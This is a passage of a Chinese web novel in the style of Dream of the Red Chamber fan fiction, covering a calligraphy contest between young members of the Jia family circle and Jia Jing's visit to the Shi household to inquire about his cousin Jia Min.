“那套笔也不得了,全套的青玉管紫毫笔。” “啧啧啧,未雕刻的寿山田黄石,看色泽品相,不愧是第一品。” “那套孤本也是世间罕见啊。” 在场众人无不惊叹,有的人眼珠子都要瞪出来了,不断的咽着口水,有的人即便在努力克制,保持矜持,也难掩眼中的惊艳和心动。 贾敬惊诧,他哥今天受什么刺激了?看这架势,是早就预谋好的啊! 对上贾敷得意洋洋的神情,贾敬眨了眨眼睛,这是来炫耀的,还是来拉拢人心的? 不过无论是为了什么,总归是他哥对他的一片心。 贾敬的目光转向程一序,“这套行书孤本,就作为此次书法比试的彩头,程兄意下如何?” 程一序抬了抬眼,和贾敬的目光对上,点了点头,眼睛朝皇甫玦一瞥,朝贾敬解释道: “他是我的表弟,皇甫玦。性格有些急躁,冒犯了培元兄,还请培元兄多多包涵。” “阿玦任性,多谢培元兄了。” 程一序朝贾敬拱了拱手,他的声音虽然比较冷,显得没什么感情,可话的内容却没有问题,挑不出任何毛病。 贾敬闻言,若有所思片刻,紧接着恍然大悟。 先前皇甫玦和程一序之间的奇怪气氛,贾敬终于明了。原来,程一序是借自己的手,收拾自家熊孩子啊。 皇甫玦瞧着便是有些傲气的少年,程一序是想借他们的手,挫一挫这孩子的傲气啊。 既然如此,程一序的谢意贾敬是欣然收下。 只是没想到,这程一序看着如高岭之花,这做的事情,倒是显得腹黑。 贾政和皇甫玦目光相对,皆能看见对方眼中的战意。 “比试开始!” 第34章 贾政和皇甫玦间的比试切磋, 吸引了全场人的注意,大家也不急着比试,全都围了过来, 看两个少年比试,都很有兴趣。 尤其是,这两人身份还都不一般。 一位是书法闻名京城贾培元的族弟, 一位是此次科考第五程一序的表弟, 书香门第。 这两方斗法, 大家的劲儿都起来了, 抱着看戏的心态,纷纷议论起来。 “你们觉得,谁能赢啊?” “我觉得是贾培元那位族弟, 到底是他亲手教出来的。” “什么呀, 那小兄弟先前说过,贾兄就指导了这一段时日,我更看好程兄的表弟,他们程家可是赣省有名的书香世家, 祖上还出过状元呢。” “要不,咱们赌一赌?” 一群人起哄, 竟然还开了赌局, 好些人押注。 贾赦在一旁跃跃欲试, 偷偷瞄着贾敬, 见他没关注自己, 暗搓搓从腰间扯下一个荷包, 犹豫一瞬后, 直接押在了贾政那一边。 臭弟弟, 可一定要赢啊! 这是他半个月的月俸银子。 贾政和皇甫玦面前早已经布置好了一切, 两人站定。 贾政深呼吸一口气,提起笔,手下意识就攥紧了笔,没一会儿,手心便感受到一阵濡湿。 心砰砰地跳着,他知道自己现在过于紧张了,头不自觉地朝贾敬看去。 贾政现在的心中很是复杂,他既激动,又隐约害怕,就仿佛站在悬崖边上。 贾敬见状,朝贾政微微颔首,“按照你平时的感觉去写便是。” 简单的一句话,里面是贾敬对贾政的信任和鼓励,贾政抿了抿唇,阖上眼,心中冥想着待会要写的文章,不安的心也渐渐安定下来。 对面的皇甫玦将对面兄弟间的互动尽收眼底,眼里带着期待微微转头,看向站在他身后的程一序,却见程一序冷着脸,抱臂站着,没什么表示。 “哼。”皇甫玦面上闪过一丝忿忿,冷哼一声转回了头,明显带着赌气的意味。 因此,他也没有看见,再他转过去的那一瞬间,程一序掀了掀眼皮,挑动了下眉头。 贾敬的眼睛在二者之间扫过,心中不禁暗笑,这对表兄弟也是好玩。 下一瞬,贾敬原本随意扫过的眸光忽然顿住,桃花眼眯起,盯着皇甫玦,或者说,皇甫玦执笔的那只手。 那只手白皙修长,整体显得纤细,尤其是那绯色衣袖露出的那节手腕,仿佛轻轻一折就能断了。 贾敬眼眸凝神,细细思考。 而贾政这边也终于放松下来,如释重负,缓慢却坚定地握起笔,轻轻提了口气,眼神骤然一定,紧接着毫不犹豫利落地下笔。 霎那间,黑色的字迹宛如灵动的墨龙,跃然于洁白的宣纸之上,笔锋所过之处,是墨龙游过的龙尾,越游越顺滑,越来越自如。 皇甫玦亦不甘示弱,抬手便是挥毫泼墨,墨色如海浪一般向纸面卷去,气势不俗。 在场的众人都不由自主地屏住了呼吸,生怕自己轻微的喘息就打破了这份气韵。 他们的目光紧紧黏在纸上,刚看完贾政这边的龙飞凤舞,又急忙转向皇甫玦那边的波涛汹涌,只恨自己的眼睛不能同时看向两边。 贾敬盯着贾政的那副字,眼中也是难掩的惊讶,紧接着就是一股由内而发的自豪。 这些时日,贾政一直都有让贾敬来指导他的书法。贾政的书法童子功很稳,字写的也确实不错。 可贾敬在其中看出一丝门道,贾政有意无意间,在模仿自己的字迹。 练习书法,本就是从描摹开始,这原本没什么问题。可若是一直描摹,便也会将其框死。 只是形似,不能神似。 差了一股气。 贾敬的字能让众人称赞,他是用心钻研过得。书法一道上,想要有所长进,必须要有自己笔韵气韵,字中有神。 先前这些,贾政是缺失的,贾敬这些时日有意引导,让贾政去描摹了多种其他字迹,对比其差距。 没想到,这小子还真心悟了。 而看向皇甫玦的字时,贾敬更是一惊。 这字和人的差距,还真是大啊…… 贾敬对于这位皇甫小兄弟的兴趣更深了。 “啪嗒!” 紫檀木笔管与白瓷笔搁相撞,发出了一声清脆悦耳的声响。 这声音虽然不大,但却在这安静紧张的氛围中显得格外清晰,宛如一滴水滴落入古井,荡起层层涟漪,也让众人恍然。 已经结束了。 贾政与皇甫玦同时抬头,目光相撞,本是战意十足,却不曾想,两人相视一笑。 “啪啪啪!” 不知是谁带头,一阵阵掌声响起。 “呼……” 众人也终于想起了呼吸,重重呼出一口气,眼里是难掩的震惊,他们的心绪和注意居然就这么被两位少年的书法所牵动了。 桌上的两副字,也让许多人仔细端详起来。 【笋因落箨方成竹,鱼为奔波始化龙】 这是贾政所写。 “妙啊!这字迹飘逸灵动,好似墨龙遨游九天,字与诗相得益彰,宛若天成啊!” 有人已经止不住感慨,说出心中之感。 【海纳百川,有容乃大;立壁千仞,无欲则刚】 另一幅则是皇甫玦的墨宝。 “没想到,这位皇甫小兄弟看着瘦削,可这字气势磅礴,犹如奔腾江河!” 两人的风格气韵各有千秋,一时间讨论声此起彼伏,实在难分伯仲。 本以为只是两少年的玩闹比拼,可没想到,此字一出,让在场半数人都自惭形秽,他们可写不出这样的字。 其实也不怪他们,多数人是为科举,平日里练得是馆阁体,书法一道,说到底是兴趣使然,并不是每个人都需要花精力去钻研。 有些人心里也不禁想着,两少年如此水平,那么能够指导贾政书法的贾敬以及皇甫玦身后的程一序,他们在书法一道上又是怎样的造诣? 贾政垂在袖子里的手紧紧攥着,眼神紧张地望向贾敬,他不在乎别人的看法,他在乎的,是这位从小仰望的兄长对自己的看法。 “政哥儿,你这字我已不便点评,你已然悟了。” 贾敬欣慰一笑,说出的话更是感慨。 贾政的眼眸瞬间亮了,眼眶都有些泛酸,他努力睁大眼睛,就怕自己在众人面前失态丢了丑。 皇甫玦在旁边抿着唇,眼巴巴看着。 贾敬侧头便对上他的目光,先是一愣,见他这幅模样,心中猜测: 不会是也在等自己的点评吧? 贾敬莞尔。 “皇甫小兄弟这幅字,气势磅礴,着实让我大开眼界。” 看的出来,皇甫玦不是一个善于隐藏自己情绪,或者说他不需要去隐藏。 因为贾敬的话,他瞬间笑了出来。 贾敬这才发现,这位少年笑起来的时候,两边有着浅浅的酒窝,削弱了他原本脸上的倨傲。 紧接着,贾敬就见皇甫玦转头,看向旁边一直未说话的程一序,抬了抬下巴。 程一序叹了口气,好似有些无奈,他走到皇甫玦身边,反问,“很得意?” “嗯哼。”皇甫玦轻哼一声,眼睛睨向程一序。 贾敬看的出来,程一序对这位表弟很是纵容。 程一序眼睛略过皇甫玦,看向贾敬, “培元兄,多谢了。” 贾敬勾了勾唇,“好说。” 皇甫玦左看看,右看看,纳闷贾敬和程一序在打什么哑谜。 而原本还在讨论谁优谁劣的其余人,也渐渐停下声来,看向贾敬几人。 贾敬则是看向贾政,“政哥儿,还想分个高下吗?” 贾政抿了抿唇,随后摇了摇头,指了指桌上的那副字,“敬二哥哥,我只想将这幅字送予你。” 他这幅字就是为了贾敬所写,他希望敬二哥哥如诗中所写,成竹化龙。 皇甫玦一听,瞬间跳脚,“我也不比了,我这幅字,也是送给、送给培元哥哥的!” 他说完,眼睛瞟向贾敬,嘴唇嚅嗫了几下,“我觉得培元哥哥的胸怀如海一般,没有计较我的冒犯。” “对不起!” 皇甫少年再次道歉,此次没了上次的羞愧,更加坚定。 他也确实不是为了和贾敬比较,这幅字确实如他自己所说,为贾敬所写。 贾敬眨了眨眼睛,“今日最好的两幅字,就这么给我了?” 他自然知道,这哪里是单纯两幅字,这是两位少年赤忱的心。 连他自己也没想到,今日还会收到这样的赠礼。 “自然,只有你配得!”皇甫玦立刻接话,接着有些结巴,“你、你不准嫌弃!” 贾敬眉眼都笑弯了,“看来今日,是我赚了。” “贾培元,你也太招人嫉妒了吧?” “我要羡慕死了。” “刚刚还想着说,能不能将字拍来,挂家里,没想到啊……” 周围人也表达出了自己的羡慕,随后便散开,自己组圈子比试去了。 字没了,这不是还有宁国府准备的其余彩头吗? “呵。”程一序哼了一声,吸引了贾敬的注意。 下一瞬,就听程一序对皇甫玦道:“这么快就喊人哥哥了?” 贾敬扯了扯嘴角,这话怎么听得那么怪异? 好尴尬。 【作者有话要说】 注释:1.【笋因落箨放成竹,鱼为奔波始化龙】出自《增广贤文》 2.【海纳百川,有容乃大;立壁千仞,无欲则刚】出自《两广总督府衙堂联》作者林则徐。 第35章 程一序掀了掀眼皮, 又瞥了贾敬一眼。 贾敬尴尬一笑。 程一序对皇甫玦嗤笑着,“你有没有出息?就看脸?” “要你管!” 皇甫玦对程一序翻了个白眼,绕过了他。小心瞄了眼贾敬, 目光忽然落在对面的贾政身上,眼睛一转,便走到了贾政的面前, “我是皇甫玦, 无字, 今日也算是不打不相识, 以后……就是朋友了?” 和他做朋友? 贾政心中狐疑,总觉得这个皇甫玦目的不纯,可又说不出哪里怪异, 因此面上故作矜持, “我名贾政,字存周。” 皇甫玦伸手直接拍了拍贾政的肩膀,“以后玦哥罩着你!” 贾政有些不适应,动了动肩膀, 紧接着反应过来,“以后?” 贾敬看向程一序, 用眼神询问:这小孩后面还跟着你留在京里? 还真是稀奇, 表哥在京中任职, 还带着表弟? 还未等程一序说话, 皇甫玦就凑到了贾敬面前, “培元哥哥, 我和他可没关系, 我不回赣省, 是因为我下个月就要进国子监读书了。” “哦?” 贾敬打量着皇甫玦, 确实是到了科举下场的年纪,“皇甫小兄弟是赣省的贡监生?” 所谓贡监,便是指地方科举贡到国子监学习的生员。 “培元哥哥叫我阿玦就好。” 皇甫玦说完顿了顿,摸了摸鼻子,显得有些扭捏,支支吾吾道:“我是荫监生。” 话刚说完,他像是怕贾敬误会什么,赶忙解释,“我不是贡监生,是因为我压根没有参加科考。” 他真的不是因为没考上,才靠家里进国子监的废物! “呵。”贾敬怎么可能看不出皇甫玦的小心思,只觉得好玩,笑出了声。 “阿玦是觉得,荫监很丢人吗?”贾敬故意问,他就想逗逗这小孩,心里却想起了别的事。 荫监的要求,最低也是三品大员或勋贵子弟,赣省有姓皇甫的三品官员吗? 贾敬脑海里没有印象。 皇甫玦下意识就点了头,在他看来,荫监进去的那些生员,就是一群不学无术、靠祖宗荫蔽的二世祖。 他是有苦衷……不然他根本不会同意做荫监生。 可刚点完头,皇甫玦就后悔了,脸上闪过懊恼。 他怎么就忘了,贾敬也是通过荫监进入的国子监学习,之后参加乡试、会试、殿试。 先前皇甫玦也将贾敬当成他认为的那一类不学无术的勋贵子弟,可现在? 贾敬在皇甫玦心中的形象早就翻天覆地了。 “我也是荫监生呢。” 贾敬故作伤心,轻敛眼眸,浓密且长的睫毛下落,洒下一层淡淡阴影,让人忍不住反省,自己是不是说错了话。 “培元哥哥,我……”皇甫玦语无伦次的想要解释,越说越急,话怎么也说不出口。 “哈哈哈哈哈。”贾敬忽的笑出声。 皇甫玦愣住,程一序半阖着眼,伸手敲了一下皇甫玦的脑袋,“是个蠢得。” 贾政也反应过来,敬二哥哥是在逗皇甫玦玩儿,唇角压不住的弯起。 “好啊,你们……”皇甫玦也终于反应过来,脸骤然涨红,但碍于贾敬面前,他又闭了嘴,嘴巴却不高兴的翘了起来。 “阿玦可是生气了?我向你赔不是,”贾敬朝皇甫玦拱手,“可愿意原谅我?” 桃花眼直接笑弯成了月牙,皇甫玦直直地看着。 贾敬眼中笑意更甚,他好像发现了皇甫玦的一个秘密,喜欢好颜啊。 皇甫玦耳根热热,移开了目光,“我没生气。” “荫监其实没什么,我是荫监身份进的国子监。”贾敬说着,抬手指了指贾政, “政哥儿下个月也要凭借荫监身份进入国子监,你们还是同窗呢。” “无论用什么方式进国子监学习,最终科举,乡试、会试,到了殿试,圣上看的还是真才实干,不是吗?” 皇甫玦点点头,却未说话。 贾敬注意到,皇甫玦的唇紧紧抿着,他似乎有什么顾虑和想法。 不过,既然他未开口,贾敬也当没看出来,毕竟今天只是他们第一次见面。 “敬二哥哥,我要去国子监?” 贾政在一旁没忍住,问出了自己的疑虑。 荣国府确实有一个荫监名额,这个名额本应该在两年前就使用了,奈何贾赦顽皮,每年在入学的时候,整各种幺蛾子,从而错过了国子监入学,名额便一直空到了今日。 按理说,这个名额应该还是要让贾赦去。 贾政紧张的手紧紧捏住袖子,眼睛一眨不眨地盯着贾敬,只待他一个回答。 贾敬点点头,肯定道:“下月国子监开学,政哥儿便要去读书了,到时候,你和阿玦要互相照应啊。” “居然是真的……”贾政满脸的不可置信,眼里却已经情不自禁填满了喜色。 “那哥哥他……”贾政开心过后,便担忧起贾赦来,这本该是属于贾赦的名额。 贾敬知晓贾政在担忧什么,“放心,赦哥儿自有其他的安排。” 贾赦不擅长读书,何必浪费这个名额。 贾敬记得,上辈子这个名额其实最后也是给了贾政。 但那是二婶史氏和二叔贾代善在家吵了半个月,甚至放言要回娘家,才拿到了名额。 要贾敬说,他这位二婶也是忒偏心了些。 政哥儿确实要比赦哥儿听话懂事许多,可到底也是她亲生的。 然而她对贾赦的态度,知道他们情况的人,无不摇头,都说没见过这种能当仇人的母子。 上辈子也因为史氏的这一举动,加剧了他们母子间的隔阂,甚至连贾赦贾政间的兄弟之情,也受到了影响。 贾赦是不爱学习,也不在乎国子监这个荫监生的名额,可他到底是被史氏伤了心。 而如今,贾敬早就想好了对贾赦的安排,一早就和二叔贾代善交流过想法。 至于贾政,贾敬也早有考量。 上辈子贾政虽然凭借家中荫监名额进入了国子监学习,却在科考一路上,极为不顺,最后连个举人功名都未考上。 是他二叔临终前,天丰帝为了让贾代善安心去了,赐了一个工部员外郎给了贾政。 看似是恩典,实则也堵了他晋升的路。连举人官身都没有,又谈什么晋升呢? 贾政的能力,贾敬这些日试探过,底子很扎实,进入国子监后,好好学习,中举不是难事。 至于上辈子为何是那样的成绩…… 贾敬眼中滑过一丝凉意,嘴角弯起一抹没什么温度的笑。 俗话说,一花独放不是春,百花齐放春满园。 宁荣二府如今只有他一个由科考入仕,太过单薄了。 有他在,他一定会好好挖掘族中子弟,将合适的苗子都找出来。 贾政余光看见贾敬的那抹笑,背后一凉。 敬二哥哥怎么笑得那般怪异? 肯定是他看错了,贾政这般想着,却还是忍不住搓了搓胳臂。 皇甫玦见状,用胳膊肘撞了他一下,“贾存周,你放心,我会罩着你的!” 贾政扯了扯嘴角,在京城,他荣国府二爷,还需要他一个外省人罩着? 但他并未与皇甫玦辩解,这不是他的性格。 贾敬则是似笑非笑的看向程一序,半开玩笑半试探开口, “程兄,没想到我们如此有缘。” “只是,阿玦这般小,便孤身一人在京中求学,家中人不担心吗?没派人跟着?” 看似是关心皇甫玦,实则是试探他背后的家族。 贾敬这问话里试探的意思很是明显,甚至到了粗糙的地步。 可这也是贾敬故意为之。 他是在试探皇甫玦背后的皇甫家吗? 不,他是在试探程一序以及他背后的家族,对自己到底是敌是友,是否愿意告诉自己,他们的来历。 程一序冷峻的脸上依旧没什么表情,漆黑的眼睛盯着贾敬看了一会儿后,冲皇甫玦招了招手, “来,你自己来跟你的培元哥哥说。” 平缓的语气,愣是让贾敬在“培元哥哥”四个字上,听出了阴阳怪气。 皇甫玦一听,窜到贾敬面前,“培元哥哥想知道什么,我告诉你!” 贾敬扯了扯嘴角,目光幽幽瞄了程一序一眼,心里可以确定: 此人看着冷峻,像是一座洁白的冰山,实则冰川之下,是透黑的冻土。 真黑啊。 贾敬看着和自己大眼瞪小眼的皇甫玦,无奈的叹了口气。 就在贾敬想着,来日方长,总会被他查到时,皇甫玦恍然大悟的“哦”了一声。 “培元哥哥,是不是想知道我家中情况?” 贾敬闻言一挑眉,程一序则是一蹙眉,直接撇过脸,不愿多看。 皇甫玦嘿嘿一笑,“我知道,你肯定好奇!” “我和他来京路上,可没人能猜到!” 皇甫玦口中的“他”,自然是程一序。 “说说。”贾敬颔首。 “咱们大乾朝有三大书院,培元哥哥可知道是哪三个书院?” “金陵的承天书院,豫州的南泉书院,以及赣省的浮白书院……”贾敬刚说完,便反应过来。 “浮白书院的山长,是大乾闻世大儒……”贾敬一字一顿说出一个人名,“皇甫玄。” 皇甫玦皱了皱鼻子,虽不情愿,但也不想骗贾敬,“是我爹咯。” 原来如此。 贾敬心中的疑惑都消散了。 为何小小年纪就有如此笔力,又为何能拿到国子监荫监名额。 荫监名额,除了三品大员和勋贵外,还有几个特殊的名额。 那便是对天下读书人有巨大贡献和影响的大儒,他们的后代也可以进入国子监。 而现在闻名于世的大儒们,包括三大书院的山长们,以及青州衍圣公孔家等传世世家。 这些书香世家,家学渊源,是天下学子都仰望的存在,即便有国子监这个荫监名额,这些世家子弟也不会进入国子监。 国子监的讲学老师哪里比得上他们的家学? 据贾敬所知,若是皇甫玦所说的一切都是真的,那么他将是这近几十年里,唯一一个进入国子监读书的世家子弟。 这小孩还真是与众不同。 贾敬眼中的诧异和怪异并未隐藏,皇甫玦瞧见后,也不在意,摆了摆手,“我就是想逃离我爹,我才来的京城。” “我会让他知道,我所说的,一定会做到!” 皇甫玦昂着头,目光遥望着远方,语气坚定。 贾敬拍手道:“有志气!” 皇甫玦的眼睛亮了亮,“培元哥哥,你真这么觉得?” “呵。”程一序冷哼一声,惹来皇甫玦一记白眼。 最终那份孤本,由贾政送给了皇甫玦,又得到了皇甫玦一句“我罩着你”的承诺。 看着比自己还要矮半个头的皇甫玦,贾政皮笑肉不笑的感谢,并未放在心上。 而贾敬的其他同年们也都比试完毕,拿到彩头的人,对贾敬笑得那叫一个灿烂。 贾敬不禁轻啧,说好清流呢? 怎么一个个,都显得那么势利呢? 而贾政心情极好,这些天瓶颈期的字有了突破,还得了敬二哥哥的夸赞,还在敬二哥哥那边知道,自己下月就要去国子监读书了! “你很高兴?” 忽然,一道阴恻恻的声音在贾政身后响起,吓得他一个激灵,一回头,见贾赦一脸阴郁的望着自己。 “哥?” “你很高兴?”贾赦又幽幽开口。 “我不高兴!”贾赦声音骤然拔高,伸手就一把箍住贾政的脖子,整个人都猴在了贾政的身上。 “你知道刚刚的书法比试,我押注押了你多少吗?” “啊!你知道吗?” “半个月的月俸银子啊!就这么被你送出去了?” “半个月啊!” “我的银子!” 贾赦越说越悲伤,声音都有些哽咽,原本箍着贾政脖子的手臂也松了,狠狠擦了一把眼睛。 “咳咳咳!”贾政咳嗽,粗喘着气,脑子里快速处理贾赦刚刚说的那些话。 他哥居然在刚才比试里,押了自己? 贾政瞠目结舌,“哥,你刚刚押了我?” “对啊!”贾赦粗着嗓子,“押了!” “你对得起我的信任吗!” 贾赦觉得自己的心在滴血,他半个月的月俸银子啊! 贾政的嘴角扯开,眼睛弯着,看着狼狈的兄长,“哥,我赔你!” 贾赦一顿,眼睛一抬,狐疑地望着脸带笑意的贾政,“你赔我半个月的月俸银子?” 不会是脑子坏了吧? 贾赦的眼神让贾政一僵。 “咳!”贾政轻咳一声,正了正脸色,努力保持自己平日里的正经模样,“你也是因为我的原因,我补给你。” “拿来。”贾赦毫不客气。 贾政也爽快,将腰间荷包扔了贾赦。 贾赦打开,清点了一下,确实是半个月的月俸。 他将荷包收好,掀了掀眼皮,“你不会转眼跟她告状吧?” 她自然指的是史氏。 “哼。”贾政嘴角一压,“怕就还我。” “滚犊子!”贾赦一摆手,他又想起今天自己和何长荣打架时,贾政的那几招黑手,神色一动,勾了勾手,“凑近来。” 贾政不明所以,却还是跟着凑近,“什么事?” 贾赦小声道:“三妹在舅舅家也好些时日了,咱们去接三妹回来吧?” 这么一提,贾政也想妹妹贾敏了,他看了看内院花厅,“可母亲让三妹在舅舅家陪外祖母。” 贾赦撇了撇嘴,没好气道:“怎么?他们家是没姑娘吗?天天扣着我们贾家的姑娘,这都多少天了。” “就连今日,他们家除了派东西过来,一个人影儿都没看见!” “我不管,我要去找三妹,你就说,你去不去吧!” 贾政抿了抿唇,“去!” “去什么?” 刚从贾敷史云棠催着相看的魔咒中逃离的贾敬,一出来就遇见两个准备做坏事的弟弟。 他张开双臂,一手搭一个,显得懒散,“我好像听到,你们要去接小敏儿?” 贾赦和贾政对视一眼,点头,“是。” 敬二哥哥也不怕告诉。 贾敬勾了勾唇,“走,哥陪你们一起去。” 今日除了远在金陵的薛家没派人来,史家同在京城,却也没来人。 史家除了是二婶史氏的娘家,也是他大嫂史云棠的娘家。 真反常。 他眸光沉了沉,史家啊,该去看看了。 【作者有话要说】 备注:【一支独放不是春,万紫千红春满园】出自古今贤文。 第36章 “小敏儿去史家多久了?” 贾敬带着贾赦贾政两人坐上了去史家的马车, 问起贾敏的事情,看似很是亲昵。 然而事实是,对于这位堂妹, 贾敬若硬要说,还真不熟,前世他与贾敏也没见过几回。 一来, 贾敬与贾敏的年龄本就差许多, 二来, 两人不处一府, 平日里并不会接触,也只有每逢年关,两府相聚宴会, 见过几回。 即便如此, 男女分席,也只是点头之交,并不会有什么交涉。 贾敬对这位堂妹的印象,也不过是红颜薄命, 年纪轻轻便生病去了。 而贾敏的那位夫婿林如海,贾敬倒是更了解些。 不出意外, 六年后的会试, 探花郎便是他的囊中之物。 林家祖籍姑苏, 家中几代列侯, 书香传家, 虽到了林如海这辈已经没了爵位, 可他本人学识了得, 科举高中, 样貌出众, 被圣上点了探花,之后仕途更是一片坦荡。 无论是于京中都察院任兰台寺大夫,还是后来于扬州任巡盐御史,别看品阶不高,可位置之扼要,足以见得圣上对其的信任,简在帝心。 说实话,林如海的仕途,贾敬是真的羡慕到眼红。 奈何这位妹夫,身子也不好,不惑之年便去了,留下了一个体弱多病的小姑娘,是贾敏和林如海唯一的孩子。 贾敬如果没记错的话,那孩子后来就养在了荣国府,也不知道后面如何了…… 想起上一世,贾敬微垂眼眸,心中暗叹: 那会儿他已经久居道观多年,府上事情早就没有心力管了,隔壁荣国府较宁国府好些,可在二叔贾代善走后,也渐渐远离了权力中心。 荣国府为了摆脱困境,甚至朝宫里送了人。 家中娇养长大的姑娘,一下子进了那不得见人的去处……即便后来那丫头出息,加封贤德妃,甚至盖了院子省了亲。 看似盛宠加身,鲜花着锦,烈火烹油,可到底家中没有立起来的男人,靠一个女子,又能撑多久? 贾敬想到此处,看向了旁边板正坐着的贾政,荣国府送进宫的那个丫头,还是他的大女儿呢,还真忍心!忍不住瞪了贾政一眼。 简直窝囊! 随后贾敬眼眸一暗,不能护着女眷,是他们这些爷们窝囊,都窝囊。 包括他自己……他知道的。 他吞丹自殁何尝不是在逃避? 贾政若有所觉,对上贾敬的眼神后,一激灵。 他做错了什么,敬二哥哥居然这样看他! 贾赦则是回答了贾敬刚刚的问话,嚷嚷道:“三妹去史家有些日子了,我估摸着都快半个月了!” 说起这件事,贾赦就憋不住了,“他们史家忒不要脸,他家是没姑娘吗?天天扣着我家妹妹不放!” “三妹有家,哪有一直在外家待着的道理!” 贾赦越说越不忿,因这事是他母亲史氏首肯,有这一层的关系在,贾赦就更加不满了。 贾敬沉思,一时也想不出史家的目的。 但若说是什么史家老太君喜欢外孙女,疼外孙女,贾敬是不信的。 这史家老太君是什么人,别人不知道,贾敬却知道。 她不仅是贾敏的外祖母,更是他嫂子史云棠的嫡亲祖母。然而这位史老太君对史云棠,不仅不亲厚,反而是冷漠苛刻。 因此不怪贾敬有意揣测她故意留贾敏在史家的原因。 而今日的庆祝宴,史家作为宁荣二府的姻亲,同住京城,却连脸都没露,这样的态度也着实令人忍不住猜忌缘由。 贾政看了看外面越来越黑的天色,有些担忧,“敬二哥哥,天色已晚,我们没有拜帖上门,是否不妥?” 贾敬无所谓的笑了笑,看似漫不经心道:“都是老亲,无事。” 他们史家无事,却一人不来,那么他便亲自去瞧瞧,刚好有位人,他也打算见一见。 “二爷,咱们到了。” 夜幕下,街边挂起了灯,贾敬几人也终于到了。 贾赦贾政两小子率先跳下马车,这边一有动静,门房便出来了人。 得知是贾家的几位爷们,门房连忙回去禀告。 贾敬翻身下车时,史家西侧门便打开,出来好几人相迎。 “培元,你怎么来了!” 为首的一位魁梧青年走到贾敬面前,惊诧之余,面上还挂着一抹苦意, “今日不过是没去你府上给你庆祝,你就直接追我府上了?” 贾敬抖了抖袍子,斜眼瞧着他,“史伯齐,你也知道啊?” “你瞧瞧你这事儿做的像话吗?” 贾敬伸手隔空点了点他,青年叹了口气,有些苦涩和无奈,贾敬闪了闪眼,招呼贾赦贾政, “怎么不叫人?” 贾赦原本还在赌气,但听贾敬这么说,还是乖乖喊了人。 “大表哥。” “大表哥。” 贾政也连忙向青年问好,态度较贾赦要好上许多。 魁梧青年正是史家嫡长子,这一辈的保龄侯世子,史晁,字伯齐,史云棠的大弟,和贾敬一般大。 然而上一世,西戎来犯,史晁将将新婚便出了征,战死沙场,其妻生下遗腹子后,便殉情而亡。 贾敬眼皮抬了抬,现在还活着,挺好。 史晁见贾赦贾政两小子也跟着来了,心下一跳,已经隐约猜到是怎么一回事,一边引着贾敬进去,一边问着, “你今日不会真的是来上门兴师问罪吧?” 贾敬没搭话,带着贾赦贾政就朝府里走去。 史晁观察着贾敬神色,脸上闪过一丝纠结,最终还是问道: “今日我们没去,大姐可是生气了?” 史家大小姐嫁进宁国府不过一年,然而宁国府办这样的喜宴,史家作为宁国府主母的娘家,却没一人露面,这让外人如何看史云棠? 贾敬听见这话,脚步忽的一顿,转眸盯着史晁,似笑非笑, “如今说这话不觉得晚吗?” “想知道,你何不自己去问?” 语气里的火气压根没压住,或者说,贾敬也没想压。 贾敬一直都知道,嫂子史云棠与史家关系很微妙,但缘由他并不知晓。 尤其是在贾敷死后,史云棠几乎与史家就断绝了来往,对缘由亦是讳莫如深。 史晁本就愧疚心虚,被贾敬这么一怼,更是无脸回嘴,只能讪讪一笑,闭了嘴。 贾敬哼了一声,也没再逼史晁,而是问了其他。 “世伯不在家中?” 贾敬说的,自然是第二代保龄侯,史进,史氏的亲哥哥,贾赦贾敬贾敏的亲舅舅。 “父亲于月前匆忙离京,至今未归。” 多余的话,史晁也不多说。保龄侯深得帝心多年,能让他匆忙出京没一句交代,除了圣上的旨意,再无第二种可能。 贾敬颔首,也没再多问。 史晁见状,微微挑眉,心里也不想贾敬来的目的了,左右等会儿就知道了,随后笑着一把搂住大表弟贾赦的脖子, “赦哥儿怎么跟着培元一起来了?” 贾赦臭着一张脸,硬生硬气道:“我来看三妹。” “嗯。”贾政也跟着点头。 史晁心中有了数,若是只为小敏儿而来,倒不是什么大事。 保龄侯不在家中,招待客人的事情,自然落在了史晁身上。 他将贾敬几人带到前院的花厅,刚进去坐下,侧边跑出来两个少年。 “敬二哥,大表哥,二表弟。” 两少年约莫十五六岁的年纪,稀奇的是,外表长得一模一样,是少见的双生子。 史鼐、史鼎,史晁同胞的二弟三弟。 两人顽皮的紧,对着贾赦贾政的后背就是一跳,猴在了人家背上。 可别看这两人不着调,上一世在史晁去世后,这两小子靠军功顶起了史家门楣,老二史鼐世袭保龄侯,任外省大员,老三史鼎加封忠靖侯。 史晁仅剩的唯一的女儿,也是他们抚养长大。 而史家一门双侯的荣耀,谁不艳羡? 若是姻亲,史家现在与贾家不可谓不亲密。无论是现在的荣国公夫人史氏,还是他嫂子史云棠,皆是史家出嫁的姑奶奶。 然而,他们两家的关系,实则并没有多亲密。 且不说荣国府那边,就说史家和宁国府的关系,若不是说联姻,还以为结了仇呢。 贾敬悠哉坐着,背轻靠在座椅上,轻撩起袍子,翘起了腿。 史晁望着贾敬包着白布还去撩袍子的手,扯了扯嘴角,“你这手能这样动?” 他怎么听外界传的,这手都要废了呢? 贾敬翻了下眼睛:“怎么不盼着点我好啊?” 史晁:“谁不盼你好了?这不是外面都有这么说吗?” “说说,你今天这么重要的日子不在府里待着,到底来干什么?” 贾敬抬了抬下巴,朝贾赦的方向看去,“陪这两小子来的。” “你不知道他们为何而来?” 贾敬故意问了一句,他不信话说到这个份儿上,史晁不知道贾赦贾政他们的来意。 史晁本想打个马哈,可对上贾敬冷静透彻的眼睛,当即闭了嘴。 “唉……” 一道无奈且沉重的叹息从史晁口中叹出,贾敬看着他,史晁眼里是难掩的倦意和疲惫。 贾敬心下一动,“说说吧。” 史晁有些为难,可心中的疲惫与压力,又让他非常想要倾诉,内心纠结拉扯,一时无言。 贾敬微微眯起眼,忽然说道:“是因为你们家老太君吧。” 史晁先是一怔,他没想到贾敬会知道,紧接着嘴角溢出一抹笑,满是苦涩和自嘲,感叹一句, “果然什么事情都瞒不得你。” 贾敬敛眸,语气平淡,“她留小敏儿在史家,是不是和嫂子有关?” “她觉得我们贾家欠了她?” 虽是问句,且没头没尾,然而却一石激起千层浪。 紧盯着史晁神情变化的贾敬知道,他猜对了。 【作者有话要说】 史晁,名字是私设。红楼原著里并未出现史湘云父母的姓名,我就自己取了一个,和“鼐、鼎”目字结构的字太难找了,就“晁”凑数吧。 准备捞捞史父,父母双亡的史大姑娘太可怜了,呜呜呜。 第37章 史晁瞧了眼在打闹的四位弟弟, 招招手,“老二老三,带赦哥儿和政哥儿去找敏儿玩。” 贾赦和贾政一听, 立刻拽着史鼐、史鼎两人朝外走。 “快,我要见三妹妹!” 